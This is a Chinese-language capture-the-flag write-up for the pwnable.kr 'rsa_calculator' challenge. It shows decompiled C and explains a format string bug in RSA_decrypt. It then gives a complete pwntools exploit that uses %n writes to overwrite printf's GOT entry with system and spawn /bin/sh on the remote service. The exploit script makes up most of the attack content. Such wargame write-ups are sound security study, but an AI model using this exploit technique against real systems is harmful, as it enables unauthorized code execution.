RSA_decrypt中有格式化字符串漏洞：

undefined8 RSA_decrypt(void)

{
  int iVar1;
  uint uVar2;
  size_t sVar3;
  long lVar4;
  undefined8 *puVar5;
  size_t in_R8;
  long in_FS_OFFSET;
  bool bVar6;
  byte bVar7;
  int data_len;
  uint i;
  int j;
  int idx;
  int local_62c;
  char local_628;
  char local_627;
  undefined local_626;
  char ch;
  char acStack1560 [1024];
  undefined8 local_218 [65];
  long canary;
  
  bVar7 = 0;
  canary = *(long *)(in_FS_OFFSET + 0x28);
  if (is_set == 0) {
    puts("set RSA key first");
  }
  else {
    data_len = 0;
    printf("how long is your data?(max=1024) : ");
    __isoc99_scanf(&%d,&data_len);
    if (data_len < 0x401) {
      i = 0;
      fgetc(stdin);
      puts("paste your hex encoded data");
      while (bVar6 = data_len != 0, data_len = data_len + -1, bVar6) {
        sVar3 = fread(&ch,1,1,stdin);
        local_62c = (int)sVar3;
        if (local_62c == 0) {
                    /* WARNING: Subroutine does not return */
          exit(0);
        }
        if (ch == '\n') break;
        acStack1560[(int)i] = ch;
        i = i + 1;
      }
      puVar5 = local_218;
      for (lVar4 = 0x40; lVar4 != 0; lVar4 = lVar4 + -1) {
        *puVar5 = 0;
        puVar5 = puVar5 + (ulong)bVar7 * -2 + 1;
      }
      idx = 0;
      for (j = 0; j < (int)(i * 2); j = j + 2) {
        local_628 = acStack1560[j];
        local_627 = acStack1560[j + 1];
        local_626 = 0;
        lVar4 = (long)idx;
        idx = idx + 1;
        __isoc99_sscanf(&local_628,&DAT_0040170b,(long)local_218 + lVar4);
      }
      puVar5 = local_218;
      memcpy(g_ebuf,puVar5,(long)(int)i);
      j = 0;
      while( true ) {
        uVar2 = i;
        if ((int)i < 0) {
          uVar2 = i + 7;
        }
        if ((int)uVar2 >> 3 <= j) break;
        iVar1 = decrypt((EVP_PKEY_CTX *)(ulong)*(uint *)(g_ebuf + (long)j * 4),(uchar *)&pri,
                        (size_t *)(ulong)(i + 7),(uchar *)puVar5,in_R8);
        g_pbuf[j] = (char)iVar1;
        j = j + 1;
      }
      g_pbuf[j] = 0;
      puts("- decrypted result -");
      printf(g_pbuf);
      putchar(10);
    }
    else {
      puts("data length exceeds buffer size");
    }
  }
  if (canary == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

RSA_encrypt实际上只是简单的把ascii字符转换为16进制字符表示，写exp时不需要关心RSA相关的部分，只需要随便设p、q、e、d。
还有需要注意的一个点是整个循环的过程中并没有清理栈，上一次栈中的局部变量依然会保留，和格式化字符串漏洞一起使用能写任意内存。
这题没开NX和Full RELRO，可以在栈上写shellcode，也可以选择改got表，甚至ret2libc也行。我选择了改got表，把got表中printf的值改为system后，再将"/bin/sh"写入g_pbuf就可以得到shell。
exp：

from pwn import *

context(log_level="debug", arch="amd64", os="linux")
# r = process("./rsa_calculator")
r = remote("pwnable.kr", 9012)
binary = ELF("./rsa_calculator")

printf_got = binary.got["printf"]
system_plt = binary.plt["system"]  # 0x4007c0: system@plt


def encrypt(s: str) -> bytes:
    res = []
    for i in s:
        res.append(format(ord(i), "0x").ljust(8, "0"))
    return "".join(res).encode("utf-8")


def recvmenu():
    r.recvuntil(b"exit\n")


def decrypt(msg: bytes):
    recvmenu()
    r.sendline(b"3")
    r.recvuntil(b" : ")
    r.sendline(b"-1")
    r.recvuntil(b"\n")
    r.sendline(msg)


def set_key(p: int, q: int, e: int, d: int):
    recvmenu()
    r.sendline(b"1")
    r.recvuntil(b"p : ")
    r.sendline(str(p).encode("utf-8"))
    r.recvuntil(b"q : ")
    r.sendline(str(q).encode("utf-8"))
    r.recvuntil(b"e : ")
    r.sendline(str(e).encode("utf-8"))
    r.recvuntil(b"d : ")
    r.sendline(str(d).encode("utf-8"))


set_key(100, 100, 1, 1)
decrypt(encrypt("a" * 40) + p64(printf_got + 4) + p64(printf_got + 2) + p64(printf_got))
decrypt(encrypt("%52$n%64c%53$hn%1920c%54$hn"))
recvmenu()
r.recvline()
r.sendline(b"3")
r.sendline(b"-1")
r.recvuntil(b"\n")
r.sendline(encrypt("/bin/sh"))
r.interactive()

值得注意的是理论上用于填充的junk需要27*8字节，因为写格式化字符串需要27字节，而在本机和远程上跑都需要多于27字节的junk，而且需要用到的最少junk长度也不相同，这一点目前还没弄明白。